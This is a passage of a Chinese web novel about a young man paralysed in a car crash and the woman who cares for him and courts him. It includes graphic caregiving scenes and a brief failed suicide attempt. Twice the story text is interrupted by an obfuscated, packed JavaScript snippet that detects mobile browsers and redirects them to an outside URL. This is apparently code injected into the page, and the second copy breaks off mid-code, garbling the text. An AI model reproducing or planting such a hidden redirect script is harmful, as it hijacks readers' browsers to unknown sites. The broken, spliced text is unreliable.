鹤蓉买了一包牛奶糖,温言鼓励那小孩,你好好配合医生叔叔和医生阿姨治病,姐姐就给你一颗糖吃,我们拉钩上吊。 小孩的病不忌甜,只是治病掏空家底,钱必须花在刀刃上,父母有心而无力。 小小一截小指头伸出来,小孩欢欣雀跃地勾上鹤蓉小指:“好呢!姐姐,我会好好治病,好好听话。姐姐,我跟你保证,我以后呀打针也不哭了呢。” 商渺不扫兴,随着一大一小俩女孩笑了笑,唇抬七分,由衷喜悦的弧度。 握着水杯的手却收紧,像死命压着盖子,盖子下面苦水翻涌,溢上喉头,感冒已痊愈,可吞咽,又再度痛了。 盼小孩健康为真,心酸也真切。 或许…… 这是她的答案。 顾他面子,不当众否认;护小孩童心,于心不忍小孩苦盼那不可能到来的喜糖。 鹤蓉不会和他结婚。 他苦涩地如此相信。 那时,鹤蓉刚读研,她鲜少管家里要钱,生活费学费都靠她自己当家教赚取,她算不上宽绰,但善良地把全部存款接济给了那小孩一家,勿以善小而不为。 商渺得知后,负担了那小孩的治疗费用。 他像她一样无私,是否…… 就可以走近她的心里哪怕仅有一点点? 小孩病愈,其父母牵着她登门感谢。 小孩围着商渺喊谢谢哥哥,期望之意盈满她稚嫩眼眸:“哥哥,你什么时候和姐姐结婚?我想给姐姐拿裙子的尾巴,像电视里那样!” “等你数学考一百分。”商渺屈膝蹲下,和小孩齐平视线。 “啊……”小孩噘嘴,“我数学不好。” 商渺揉小孩的脑袋:“所以,你要努力学习呀。” 善意的谎言,听者为之奋勇,说者尝透酸涩。 ——鹤蓉不会和他有结果。 直到那场车祸,险些无情将他覆灭,商渺都始终这样认为。 鹤蓉是他渴盼而不敢奢求的神祇。 神明渡众生,岂妄求她偏爱一人。 * 灾祸那天,鹤蓉的一位好朋友失恋了,她陪伴朋友借酒浇愁。 数杯下肚,酒精灼烧食道肠胃,人体巧妙地维持水分平衡,喝下的酒,以不可挡之势从眼眶汹涌而出,朋友喝进了多少,便也流出多少。 很会安慰人的鹤蓉都词穷了。 最后能做的,只有拍抚朋友的背,默默听她哭腔颤抖的凄语,陪一杯,再陪一杯。 朋友酩酊大醉。 鹤蓉也头脑不清,她凭借仅存的理智思考,她目前的状态,很难把朋友送回家,再回寝室;她们俩姑娘,都醉了,打车也存在风险。 于是电话拨给了商渺。 “行,我马上过去。你们就在店里等我,不要乱跑,夜深了,你们两个女孩子不安全。” 听筒那头窸窸窣窣,是商渺一边抓起外套和车钥匙,一边疾步往停车场走。 向来沉稳的人,听见鹤蓉醉得口齿含糊,他越走越快,最后提膝跑起来。 SUV随主人,风驰电骋地奔。 于是…… 鹤蓉等到酒馆打烊,都未等来商渺,他不接电话,漫长的等待稀释了酒意,酿成心慌,她几乎每分钟看一次时间,胸口有种塌陷的乱。 手机振铃。 “喂!商渺!” 鹤蓉秒接商渺回拨的电话。 却听陌生人声,语速快且理性的冷:“喂,您好。是这样的,这里是市医院,商渺先生,他出车祸了,您是他的紧急联络人。请问您现在方便马上来医院吗?” 于是,和货车相撞之时。 商渺来不及躲。 没办法告诉她,他不能去接她了。 她会苦等他吗?别,很晚了,等不到他就联系其他的朋友去接她吧,喝酒了,尽快回去歇息。 撞击彻底截断他的意识前。 他好担心她是否安全回到寝室。 4. 第九页:溺水人 商渺在剧痛中醒来。 他忆起某年夏,他跟着鹤蓉加入公益小组,参加“守护海滩,拒绝污染”的活动。 活动结束,一群人闹玩。 几个男生被埋进沙里,只露脑袋在外。 他是其中一位。 而此刻,他的感觉一如那时。 闷,沉,动弹不得,胸口犹如压着千斤重物。 肺动力不足,商渺拼命呼吸,鼻口响起怪声,像在吸已然空底的饮料杯。 医生告知他。 他瘫痪了。 高位截瘫,颈椎第四五节损伤,骨头碎成几截,钢板钢针嵌入他体内,呼吸依赖呼吸机,脱管便窒息,吃食靠胃管,排.泄也无法自控。 双手也未能幸免,感知觉十分微弱,指尖夹着血氧仪,眼看着指骨分明的手,一天天更往手心蜷一点。 他变成了有思想的死尸。 医生给他戴上眼控仪,问他,有什么话想说吗?有的话,请打字相告。 【我有一位,叫鹤蓉的朋友, 请问她还好吗?】 眨眼都困难,眼皮沉如铅坠,屈指可数的几个字,耗了商渺一刻钟才输入完毕。 医生颔首:“是她联络了你的父亲,给手术签了字。鹤蓉让我转告你,好好养伤,别多想。” 商渺再度昏过去。 那就好。 他已经无望了,她好就好。 * 数日后,商渺从ICU转入VIP病房。 病榻旁边,鹤蓉愁容满面,形容憔悴,从来都敞直迎接商渺目光的她,此刻眼神闪躲。 他明白她陷入自责。 恨自己那晚为什么让他开车来接。 怪自己酿成大错。 他不怪她。 扪心地没有丝毫责怪与恨意。 世事本无常,再者,是他驾驶车辆躲避不急,赖不了任何人。 他接受,他认了。 商渺尚且发不了声,扬起笑,唇语问:“我现在是不是很难看?” 他试图让鹤蓉轻松一点。 鹤蓉:“怎么会。” 商渺面部肌肉动了动,鼻饲管便移了位,她轻拿轻放,替他整理管子:“绝处逢生的人,都好看。” “尤其你呀,商渺哥,你是勇士,能直面一切的勇士,你特别好看,灵魂和外在都特别特别好看。” 病人没有好看的。 她敛着眸子,眼皮薄而透,目光专注落向他,是纯白的真诚。 “但你的表情很难看。” 商渺无声说,病惨惨了还逗她。 鹤蓉破悲转笑,曲指节,风拂面颊般刮了刮他纸色的脸,淡淡声音有些发酸:“那我笑一笑。我知道的,你想看我笑。” “嗯。”他厮磨喉咙,哼出微小的回应。 笑一笑。 他无法看见她为他而悲。 “我做到了,你想要我做到的,那,商渺哥。”鹤蓉翕合淡得缺血色的唇,郑重道,“你可以,做到我想要你做到的吗?” “什么?”商渺拟出口型。 “你不要拒绝我来探病,不要阻止我来看你,我不会拿任何有色眼镜看你的。你还是那个商渺。我也不会苛责自己,因为我知道你不希望我如此。” 鹤蓉问:“可不可以呢?我想陪你走过这段黑暗。” 他在名为“鹤蓉”的课题里真的不聪明。 学不会拒绝她,学不会让她失望。 他只会像个笨蛋对她说:“好。” * 恢复期艰难且漫长。 商父头些天还来探望,可目睹那毫无尊严可言的日常护理,铁腕硬汉最终情绪崩塌了,商父无法直视优秀的儿子,沦为屎.尿不知的废人,翻身靠人,吃喝靠人,拉.撒靠人。 消毒水混杂尿.骚腌.臜,是无能者的臭味。 像当初逃避婚姻,商父开始逃避见商渺,钱倒是毫不吝惜,斥资请国内外最顶级的专家会诊,夹缝中寻求微弱的一丝希望。 可惜人类的科技和医学发展至今,仍有众多不可攻破的顽疾。 脊髓损伤便是。 钱,只能让商渺坠崖的人生稍微好过一点。 买更高级的轮椅,雇更专业的护工,用更优质的尿裤,吃更见效的各种药。 商母得知噩耗,飞回了国内。 二十几年,母子情分浮于过年过节的问候而已,现如今儿子残了,商母母性爆发,床前床尾地照顾了好一段时间。 商渺语带无奈地打趣,上次见,他还小,妈给他端屎倒尿,这次见,也是,他真是没长进。 商母泪眼婆娑:“你爸他要是有你一半温柔,有你一半的好脾气,遇事儿,学着接受,不躲,不装聋作哑,我和你爸啊,也犯不着离婚。” “好孩子,好孩子。”商母情难自已地落泪。 握着商渺日渐萎缩变形的手,捋他手指,蜷起来,再捋,抻在掌心里压平:“谢谢你还认我这个妈。谢谢你,阿渺,妈妈这辈子啊,对你有愧。” “妈,一家人,不说,这样的话。”彼时,商渺已拆了管,气切口再生的肉芽填回了那洞,比其余皮肤的颜色浅能一些,瘫痪影响心肺功能,他时说时歇,“对了,弟,他的婚礼,妈,你得,回去了。” 商母再婚后,又生了个儿子,小商渺一岁半,小儿子的婚礼日期已定,就在三天后。 “唉……”商母嗟叹,抹去眼角泪珠,“你说说,这人生太不像话。” 喜和悲,前后脚都来了。 悲延续一生,喜便难以纯粹了,甚至喜得有负罪感。 “妈,你帮我,跟弟,说声,抱歉,我,去不了。” 商渺顾得礼仪周全,他爽约,但贺礼不会。 虽说同母异父也欠缺相处,但毕竟有血缘,毕竟喜事一场。 他喘气不迭,和颜悦色道:“也帮我,祝福,弟和他,妻子,幸福。婚礼,开开心心,办。” * 商母出了病房,躲在走廊偷偷哭泣,身后,递来一包纸巾,她掩面回头,瞧见是鹤蓉。 “阿姨,给你用。” “谢谢你,小鹤。”商母揩泪,扶着窗台怅然遥望天际。 待情绪缓和,她赧然笑笑:“天天让你看见我掉眼泪,小鹤,让你见笑了。” “不会。”鹤蓉方才也在病房,她祝商母的小儿子新婚快乐,而后问,“阿姨,你什么时候的航班?您很久不在国内生活了,要我帮您约车吗?” “我哪里还能麻烦你。”商母摆手,“你照顾阿渺,我作为母亲做的都没你多,做的没你好,实在惭愧,小鹤,我谢你都来不及呢。” 眼前姑娘出落大方,温良心善。 商母问过商渺,只盘出俩人是朋友,就读同一所大学,商母只点到为止,不做细问。 若儿子健全健康,她还敢往暧昧方面想一想,现在…… 她哪还敢肖想? “阿渺说有福,也是有福之人,物质上从来应有尽有。但说命苦……”商母慨叹,“我和他爸不幸福,我就盼着,他不要走上我们的老路,我盼他婚姻美满,和爱人长长久久过一辈子。我看阿渺成家,会比看他弟弟成家更高兴吧。” 自知说了些有的没的,商母自我解嘲:“又让你当我的情绪垃圾桶了。你也是好孩子,有福气的孩子,老天会庇佑你一辈子平安健康的。” 鹤蓉陪伴商母重塑情绪,她反复斟酌犹豫,该不该坦白商渺的车祸,她有难以推脱的责任,商渺并没有透露给商母。 终了,鹤蓉诚然:“阿姨,其实,商渺哥出事那晚……他出门上路是为了去接我。” 商母讶然:“所以你照顾阿渺,是为了弥补他?” 清凌凌明眸不说谎,又显似有若无的迷茫。 片刻,鹤蓉颔首,她答:“嗯……” * 商母远航去主持婚礼了。 挚友们有空便过来给商渺鼓劲打气,人多力量大。 情绪价值也大,天之骄子陨落,挚友们话里处处谨慎,生怕戳到商渺痛处。 倒是商渺最乐观豁达。 和曾经一样,玩笑照开,逗乐照有,久而久之,朋友们也放下顾忌,插科打诨热闹了病房。 商渺说:“还好读了金融,动手指就能赚钱,要是读了工科就没出路了。” “就彻底躺平呗。”损友二郎腿一翘,“你家有钱,你啊,就干你这会儿正干的事,躺平。” “卧槽你真缺德啊!”另一人往损友后脑勺一掌拍下,口下也没积德,“我商哥只是腿懒,手也懒,谁像你,你个懒汉。” “我咋懒了?”损友嚷,“我都准备好了,给商哥的轮毂上装个跑马灯,等商哥出院了,咱们一块儿city walk,到了晚上,咱商哥就最靓的仔!” “你们别拉我去当守门员就行。”商渺展示他抬不过胸口的手臂,苦笑,“我队肯定输。” 哇一声,损友嚎啕大哭,彪形大汉钻进商渺单薄的怀里,一把鼻涕一把泪:“铁生啊……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357671|199693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>鹤蓉在侧旁观,五味杂陈。 疼惜商渺自揭伤疤,但忧心也如石坠地。 碰不得,则证明介怀,他开得起玩笑,不悲不恼,则意味着他包容并接纳了这副残躯。 鹤蓉看得出,嘻嘻哈哈的,他真的不那么难过。 而不久之后的那件事,击溃了商渺的坚韧。 ——他第一次被扣.便。 那阵子,他的饮食从流食恢复到了正常饮食,长期久坐久躺,肠胃蠕动慢,他食不多,却只进不出,劲瘦腹肌化成了堆积在肚的软.肉,因便.秘,腹部被顶得更加突出,侧面看,好似盖了只肉色的碗。 堵久了对身体有害。 更别提高位截瘫病人,毒素堆积在肠道,易引发身体的高热,一旦发烧,更是灾难级别。 医护人员不得不施以手段。 护工将商渺摆成侧躺位,在他上方的那条腿的膝盖下垫了枕头,抬高腿,使瓶口方便暴露,然后,扒开他松弛的臀.瓣,清洁他的臀.缝,插入KSL的滴口,往里送,滴口没入一半,他生理性地排斥异物。 此前从未有过这样的经历。 瓶口无知觉收紧,将滴口挤了回来。 护工戴着一次性医用手套,食指摁揉瓶口放松,待瓶口听话了,再缓慢推入。 异物感说不清道不明,商渺感知失常,说不上哪里难受,忽然一阵针扎刺痛,一转,又感肠胃脾脏都在被一只手生拉硬拽,快要扯出体内。 为了便于清理,他头发剪成短寸头,晶莹的汗珠覆盖他的头皮,打湿了发根,汗水顺着鬓角淌,濡湿枕巾。 他张口力竭地喘气。 口涎溢出嘴角,滴落在枕头上。 “嗬嗬……” 护工送入合适的距离之后,开始捏挤药水,液体入内刺激得商渺蓦地抽搐。 眼睛失焦,翻出眼白,手勾在胸前抖。 护工速战速决,快速挤入,然后按摩商渺应激的肌肉,直到他再回瘫.软状态。 滴口一拔,几滴甘油沿着那缝流下,护工抽张婴幼儿湿巾给商渺擦干净。 约莫一刻钟,商渺的肚皮似海浪翻涌。 惨白的皮下,他肠子在疯狂搅动,可阅那曲线,咕噜噜,不雅之音响彻病房。 “呃……疼……” 商渺呻吟,哑声如刮老树皮:“嗬嗬……帮……嗬……出……” 出不来。 他体内涨着一个坚硬的铁球。 “商先生,请放松,请您不要紧张。”护工宽慰,他继续按摩瓶口,等开了,伸指头进去。 “……呃!嗬嗬……嗬嗬……” 商渺虚缈的眸子兀然瞪大,喉间含痰音。 巨大的外来物,他身子往前一顶,肠子搅得更快。 护工每掏动一下,他便似被凌迟一分。 神经末梢都刮骨削肉的疼。 深思漂浮,他嗅到肮脏的气味。 咕噜声仍在长鸣,还有不洁的嘣响,无边的绝望吞噬他混沌双眸,他阖眼…… 清泪越过他高直的鼻梁。 他丧失了为人的全部尊严。 何谈爱呢? * 护工拾掇离开,又过去近半小时,鹤蓉揣着沉痛心情,轻手轻脚推门而入。 屋内喷了清新剂,丝丝缕缕的甜沁果香,掩盖他近乎扒皮示众般的耻辱。 商渺哥…… 鹤蓉刚欲唤他,那消瘦背影仍是侧卧姿势,背对病房门,孤立无援地颤抖。 无助。 屈辱。 凄惨。 以及由命运碾压的无能为力。 商渺在哭。 锋利下颚线绷出隐忍的弧度。 他下唇咬出血,血混着涎水盈满齿缝,眉间褶皱深得面目全非,眼睛深闭。 闭到地老天荒,不再睁,能否逃避惨状? 枕头湿得彻底。 残疾后,商渺第一次哭。 鹤蓉驻步,不知应不应该再上前,她紧张时候,左手捏右手,不同于以往,她指尖冰凉,捏得密不透风,痛了也后知后觉。 商渺浸于悲痛,没察觉屋里有鹤蓉。 直到瘫手被微凉的小手托起,他掀眼帘,羽睫尖端缀着泪滴,他眼底一片荒芜。 “商渺哥。”鹤蓉眼含泪水,她蹲在床头,平直地望着他,掰直他手指,脸颊去贴他的掌心,“你可以和我在一起吗?” 神低眉,接住众生的苦。 悲悯地投下浮标,恩赐溺水者。 5. 第九页:自私者 他那天怎么回她的? “我配不上你了,鹤蓉。”商渺哽咽,想挣,无力的手拗不过,被她握更紧。 他狼狈得满脸水痕,却没能力擦眼泪,试图将脸藏进枕头:“别闹了。” “我没闹,商渺哥。”鹤蓉替商渺擦脸。 面颊、口周,湿巾裹着她食指尖尖,擦他眼角汪积的泪,她声音轻,不刻意压低的轻柔:“我是认真的。” * 鹤蓉是认真的。 商渺追求鹤蓉多年,一时间,竟彼此互换了角色,他防守,她追逐。 整整一年,他住院进行康复训练,如婴孩重新学着习得自己身体的掌控感,学吃饭,学坐稳,学驾驭轮椅,学习惯旁人纷至而来的怜悯眼神。 他足不出户,活动范围仅限医院。 和自卑自厌无关系,他纯是体质太差。 晒太阳稍微久了点,中暑头晕;风略略吹过了点,鼻塞畏冷;阴雨天他神经痛得厉害;艳阳晴,他瘫痪肢体起皮屑,一破皮,又生疮面。 全无离开医院的能力。 鹤蓉便学校和医院两头跑。 地铁四十多分钟,一来一回一个半小,有时下午的课业不紧张了,她午休也来看他,帮他戴上辅助手套,协助他笨拙地把饭送进嘴里。 “你以后别来了。” 数次,商渺这样说。 他思绪繁冗,机械地咀嚼饭菜直到口中一团浆糊才想起咽,语气低颓,避着鹤蓉的目光。 “你答应过我,不赶我走的。”鹤蓉放下筷子,看见商渺口角沾到了汤汁,她帮他擦净。 “我反悔了。” “那我也反悔。”鹤蓉仍是那与生俱来的淡,没有软甜,也不厚重,帮商渺把饭拨得松散一些,方便他用勺子舀,她淡声,“我答应你笑着来见你,我反悔了,我以后难过地来见你。” 商渺哑口:“……” 他看着她坐去了小沙发,她言出必行,嘴角略微往下掉,表情如静水,却又由他投掷进了一颗黄连,午餐搁桌上,她许久都没再执筷。 跟他置气呢。 商渺方寸大乱。 衬衫塞进裤子,细腰扁扁一握,肩脊也薄,鹤蓉身形消瘦,瘦得他心慌。 他好害怕她不吃午饭,下午体力不支晕倒了。 她若病了。 他会疯掉。 “鹤蓉。”商渺启齿。 他找回温润声音,不再带有负面情绪,叮嘱她:“要好好吃饭。” “那我以后还能来吗?”鹤蓉手扶膝盖,坐得端正,淡而不疏地问。 默了默,商渺软绵绵的手拨弄米饭,无计可施:“你一天来一次就够了,有时间,多睡睡觉,也和朋友出门玩一玩。不要把时间都耗在我这里。” 他拿她毫无法子。 他根本就对她耍不起无赖。 “好。”鹤蓉漾笑,坐回病床畔侧,唤,“商渺哥。” 商渺关注她有没有拿起筷子:“怎么了?” “我们今天在一起吗?” 他手一抖,饭洒在碗外,弄脏了小桌板。 也就她把告白当招呼打了,日日说,冷不丁地说。 他没出息,听多少遍都悸动。 悸乱,又杂糅酸楚与迷茫。 他读不到她违心为之的勉强;读不到她自甘舍身,对他负责到底的决绝;也读不到她的期待。 他拒绝,她神色显出若隐若现的落寞,可倘若他答应,他觉得鹤蓉也未必真正喜悦。 他僵在迷雾蒙眼的分岔路口。 读不懂她。 好像真的有爱情在里面,又好像是他自以为是。 商渺唯一确定。 鹤蓉或多或少认为,她对他有所亏欠。 若这是她的补偿方式,也太傻太不像话了,她也了解他呀,这并非他意愿所见啊…… “鹤蓉,你还在读研究生,我还在住院。我们现在的人生各有侧重点,还不到谈这个的时候。” 依旧是这搪塞话术,商渺也自知借口烂透。 他面对她就是脑子不够用,语毕,像个犯错的笨蛋低眉敛首。 被拒绝的滋味很不好受。 拒绝,也同样磨他心肠。 怎会进退都痛呢。 提起“在一起”,两人每次都陷入莫比乌斯环,来来回回演同一段对手戏。 鹤蓉也如往日,若有所思地点头,话题揭了过去,她把午餐端来商渺的床上桌,巴掌大的地儿,挤挤挨挨两人的餐碗。 商渺翻转手腕,轻质叉子固定在他的辅助手套上,纵使餐具轻飘飘,他持着也吃力,插起鸡肉,晃悠送进鹤蓉的碗里。 她喜欢红烧鸡块。 “谢谢。”鹤蓉把自己盘里的茄子给了商渺,各种风味的茄子他都爱吃,她清浅一笑,“人是铁饭是钢,商渺哥,我们都好好吃饭。” * 商渺出院那时,鹤蓉硕士研究生毕业。 她天资聪慧,提前一年便修完了,环科系的博导纷纷向她递来橄榄枝,她择了活少事轻的一个,多余出些时间陪伴商渺。 他内疚得彻夜难眠。 他知道鹤蓉热爱就地考察,她对自然万物皆有探索欲,他却困她于方寸,那项目以建模分析为主,泡图书馆看资料就好,她竟为他放弃了户外。 他以为他迷惘在岔路口,不知左右,雾气蒙昧他视野。 而雾渐散,他才发现自己是块石头。 堵在她通往自由的路口。 商渺开始蓄意对鹤蓉挑剔,变得极难伺候,他佯怒地呵斥她,责难她,扮演不分青红皂白的恶人,演得面目可憎。 “滚啊!”他深吸一口气,努力提高音量吼道。 心肺功能枯朽,吼完,他跌回枕头,喘得气不接续,心脏仿佛被踩虫般碾,血肉模糊。 快走吧,别再来了。 求你了。 他恶言,左不过是扔进她这静水的一枚石子,浅波微澜,她坐在他身边,轻抚他起伏的胸口:“商渺哥,你不适合演坏人。” “我知道,你凶我,你更疼。” 没法子了。 他黔驴技穷,只剩最后一招。 ——商渺头一回萌生轻生念头。 世间无他,她便能投身世间了。 可他拿不起刀,够不到药,上不了吊,跳不了楼,连自毁都做不到,他试过像电视里的人物那样咬舌,艺术是艺术,奈何现实有出入。 他咬舌根,还不等咬断,口水便呛他到窒息。 肺动力不足,胸腔无力,没力气咳嗽,口水堵在喉间嗬嗬。 护工听到他嘶哑的破风扇般的响动,及时赶来,对他施救。 蠢事还是瞒着她为好。 他嘱咐护工千万别让鹤蓉知晓。 可护工还是说漏嘴了,善意的故意为之,鹤蓉小姐赶快劝劝商先生,人就一条命,不敢乱来啊。 那次,商渺竟见证了鹤蓉动怒。 她生气是无声的。 表情的淡半分未减,素来恬然的眼睛升了温,火气浮在瞳仁上,眼睫颤,攥紧手指,指骨泛白,又松开。 没有爆发,没有喊叫。 鹤蓉沉默地席地而坐,背抵床沿,她屈膝,双臂抱起小腿,小脸埋进膝间。 商渺躺在床上,侧过脸来,枯凝她背影,那仓皇无措的气息不适合她。 他是搅乱静水的罪人。 那就自惩,惩罚他听她的话吧。 “鹤蓉,对不起。”商渺嗓音温煦,“我错了,是我昏头了,我以后再也不会犯傻。” 他那时手臂力量极差,憋足一口气,蹭着床单去够她的发顶,亲昵揉了揉,她柔顺发丝缠进他指缝,他握不住她的发,却贪恋地舍不得挪开手。 “你答应我。”鹤蓉回头,手扒在床边。 “我答应你,我再也不敢了。”商渺驰然笑笑,笑意渐渐敛去,他眸色深沉地问,“鹤蓉,你介不介意,今天……是我们在一起的第一天?” 他不能再拖着她了。 倘若这“相爱的形式”能减轻她的负罪感,那他,就配合。 配合到她自我赦免为止。 * 频繁失眠的夜,商渺都这样劝说自己,掩耳盗铃似的自我洗脑。 ——就和鹤蓉在一起。 ——在一起到她卸下心理负担为止。 情侣身份,理应甜蜜。 何况他的爱如温泉水,恒温经年岁月,大学时,他最大的心愿不正是鹤蓉?他一如既往地深爱她呀。 可他现在太差了。 比以往追求过她的任何一位男生都差。 当自身不再完整。 爱,像极了玷污。 商渺只暗暗自我斗争,不流露给鹤蓉,在她面前,他仍是那豁达温柔的商渺。 他的心结。 在他们交往后的第一个假期才解开。 商渺提议,和鹤蓉一起回她家,拜访她父母。 破罐子破摔,他抱着扭曲的心态:叔叔阿姨看到他这副模样,赶他走吧,让他连家门都不许踏入,把拜访礼砸在他脸上,说他癞蛤蟆吃天鹅肉,骂他痴心妄想、他自不量力,叱他屎尿不知,魔障了、疯了、鬼上身了才看得上你…… 把鹤蓉骂醒吧。 他没用没骨气,那求求她父母让她清醒吧。 可惜血脉相亲,鹤蓉的父母也是慈爱之人。 初见,约在鹤家吃饭。 鹤父和许教授亲手做了一桌子饭菜。 炖菜软软糯糯,极易消化;荤食全部剔骨,擓起可吃;食物大小也讲究,刚刚好方便用叉或勺吃,口味也做的清淡。 鹤父和许教授也对他多加照顾。 毫无嫌弃之意。 许教授给商渺的杯中插上吸管,吸管头转向商渺,她和蔼可亲,跟鹤父介绍:“小商,是我们学校特别优秀的学生,用年轻人的话说,就是六边形战士。现儿毕业了,还给母校捐钱,支持母校做科研。” “感情没有绝对美满的,帮扶,互助,看见彼此才是真谛。”许教授谆谆,“两个人合适与否,要看内在。叔叔阿姨不干涉你们的感情。” 鹤父有老派学者的威严,惜话,却实打实外冷内热,商渺吃饭洒出来,他便把纸巾盒推到鹤蓉手边,无需多言的暗示。 和商渺也聊得来,越聊越目露对这年轻人的欣赏。 当晚,商渺留宿鹤家。 商渺本要去住酒店,但耐不住许教授盛情。 许教授打趣:“家里的客房都快落灰了,亟需人气,我们家也没有让亲朋好友住酒店的‘陋习’。” 四人仿佛真的一家四口,聚在电视机前,商量出了一部合家欢老电影,点播放,说说笑笑,互诉己见。 切了番石榴和雪莲果,你叉一块,我叉一块,鹤蓉喂商渺小口小口地吃一块。 和乐的家庭氛围于商渺而言,是稀缺品。 他从未体验过。 于是许教授坚持留他过夜,他一番挣扎后应下,恕他贪心,他真的舍不得离开。 * 看完电影,鹤蓉和护工帮着商渺洗澡。 鹤家住大平层,有三个卫生间,其中一个空间非常宽敞,容得下商渺很占地的电动轮椅,同时还支得下一张洗澡椅。 洗澡椅是鹤蓉外婆的。 老人家入冬了,容易生病,就过来和女儿女婿住一住,开春了再回自个儿家。 护工的手插进商渺腋下,抬他上半身,鹤蓉抬他瘫.软的腿,两人合力将他搬到洗澡椅上。 椅子虽有扶手,但椅背偏低,他腰腹无力,像不倒翁晃晃悠悠,坐不稳,鹤蓉扶着他,稳他不倒。 许教授实在热情,招呼商渺多吃点,说他太瘦免疫力低,有点肉,抗病。 盛情难却,商渺便大开胃口,多吃了半碗饭。 他腹肌已消失殆尽,久坐久躺,堆积了赘肉,今日多食多饮,腹部愈是浑圆,坠在大腿面上,护工抬起他的肚子,清理腿.根和耻骨,抹上沐浴露,冲干净,然后松手,他肚皮坠回去,白森森的软肉晃了晃。 反观他四肢,萎缩得厉害,曾经健壮双腿细如麻杆,脚踝不足一握的细。 洗澡椅毕竟不如轮椅舒适,坐了十几分钟,商渺喘息困难,脖子撑不住脑袋,头忽地垂下去,耷拉在胸前,气管折叠,他越是闭气。 护工紧赶慢赶给商渺冲水,然后,和鹤蓉一起把他抬回轮椅。 轮椅坐垫上铺了护理垫,全屋开了暖空调,也不怕商渺受凉,鹤蓉给他擦干,裹上了浴袍,匆匆推他去客房,和护工配合将他运到了床上。 体位从坐变成躺,商渺死寂的腿兀然抽搐起来。 腿往胸口方向缩了一下,猛地蹬直,烈风扫落叶般的抖,双脚已经足下垂,脚背紧绷,脚尖下勾,脚心相对地颤,脚和小腿连成直线。 “呃……嗬嗬……唔……” 痛呼伴着齿关紧咬的咯吱咯吱,商渺头向后仰了可怕的角度,忍耐痉.挛汹汹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她分析,他后来睡得好,是适应病床了。 “有点。”商渺笑着自嘲,“我是不是很娇气?” “我读过一本心理学的书。”揉完手指,鹤蓉转转商渺的手腕,昏黄灯光析透她垂敛眼皮,她周身暖色,徐徐开口,“书上有这样的观点。” “认床,是一种幼年时期,内心不安全感的表现。睡眠时,人类的大脑并非完全停工,一部分神经会被分出来监控环境。如果环境让人感到不安了,那么大脑就会警觉起来,左脑半球便会保持适当的清醒。这种情况,多发于童年缺乏安全感的人群,因为家都不能提供安全感,外面就更不安全。” 潺潺温语,她将他剖开。 清湛目光,像月光落在废墟上,仁慈的全知视角。 商渺□□赤裸,灵魂也被扒得一干二净。 他强撑坚强,佯装无事笑了笑,打算就此揭过,瘫手被鹤蓉拢在手心里,她捧着,贴近她温软的脸。 “商渺哥,我希望以后,无论在什么地方,无论睡哪张床,有我在你的身边,你都能安睡。” “我希望,我让你感到安全,感到安心。” 他未曾妄想过。 甚至那时发疯追求她时,也不曾妄想。 妄想某一天,能与她抵足而眠。 她匀缓鼻息洒在他的肩,他心跳狂烈,乱七八糟,他或深或浅地喘,嗅到她发香清甜,时不时,她眼睛探出他的臂膀,澄净地望他。 看他睡着了没。 商渺并非脆弱外露、讨人怜爱的那种人,他不齿自己在她面前不着寸缕,裸着,不过想让她看清楚他麻烦的处境,屎尿全都假手他人,浑身惨白软肉,腿脚日渐萎缩畸形…… 他暴露,求她知难而退。 而她却连他内心的破碎都接纳。 “你这样看着我,我怎么睡得着?”万幸灯灭屋暗,是遮羞布,掩饰他面红耳赤。 “会这样吗?”鹤蓉不懂,她听他的,闭上眼睛,白净面颊枕在他肩头,“我不看你了。” 他睡不着。 他哪里睡得着? 她睡得着吗? 他的心跳怕不是太吵闹。 “鹤蓉,我的眼睛有点痒。”商渺忽然启声,声音是藏着些心思的别扭,“你能不能帮我挠一挠?” “好。”鹤蓉摁亮床头灯。 她俯在他脸前,咫尺之近,眼神一丝不苟,给他挠挠眼周一圈,问他还痒不痒,她没观察到他喉结翻滚,壮士断腕般,他支起脖子,脸凑上前,在她脸颊蜻蜓点水而过…… 以唇拓吻。 极轻极快,不敢更贪心。 理智的商渺在敲打:鹤蓉,你被你没那么喜欢的人吻,你理应感到被冒犯,进而生出厌恶,一脚把这登徒子踹地上,把他踢出你的世界。 感性的商渺尚存期翼。 而在四目相凝间,他黯了眸光。 ——鹤蓉眉目平静。 她眼波平静,清澈见底。 看着浅,却深不见底,深的,他窥不见一丝一毫其他的情绪。 被不喜欢的人,或被喜欢的人吻…… 都不该是这样的吧? 你在想什么? 你是怎样看我的? 你有没有一点爱我呢? 你和我在一起,只因为内疚吗? 酸意漫漶,他心里长了一片青苔,晾不干的湿,鹤蓉更出乎他意料地,她回吻了他。 在他脸上同样的位置,浅尝辄止。 你奉以诚,神归还灵。 收你香火,予你山河。 一供一还,一求一应。 如此公平。 鹤蓉还在替商渺挠痒,他心头酸苦,酸得他不敢再暴露光下,体面会显出裂痕。 “我好了,不痒了。”商渺笑笑,仍是那和煦的笑弧,“我有点困了,你也困了吧?” “那我关灯了?” “嗯,麻烦了。” 熄灯,鹤蓉躺回商渺畔侧,掖好被子,枕他肩上,互相晚安,她恬然入睡。 商渺自那晚起,认识到自己卑劣。 鹤蓉确实让他心安,心安于她爱他,雨露均沾的爱,长久到直抵生命尽头;同时他也惶恐,她的爱,他只能采撷一滴而饮,得不到更多了。 酸涩之余,他感到无比幸福。 他明白,她的施舍,全出自于她善。 他残破的躯体在勒索绑架她的善心。 请宽恕他自私,晨醒问候,一日三餐,同出同进,同床共枕,假的相濡以沫也无妨。 他真的。 好幸福。 他不会自私太久。 他会把神女归还给世人。 6. 第九页:误新欢 “商先生,到吃药的时间了。” 护工端着托盘进屋,玻璃杯盛温水,一根吸管插水里,方便商渺喝水服药。 他吞咽功能差,就着杯口喝,容易呛着。 “请进。”卧床的商渺温声回应。 盘中药盒满当当。 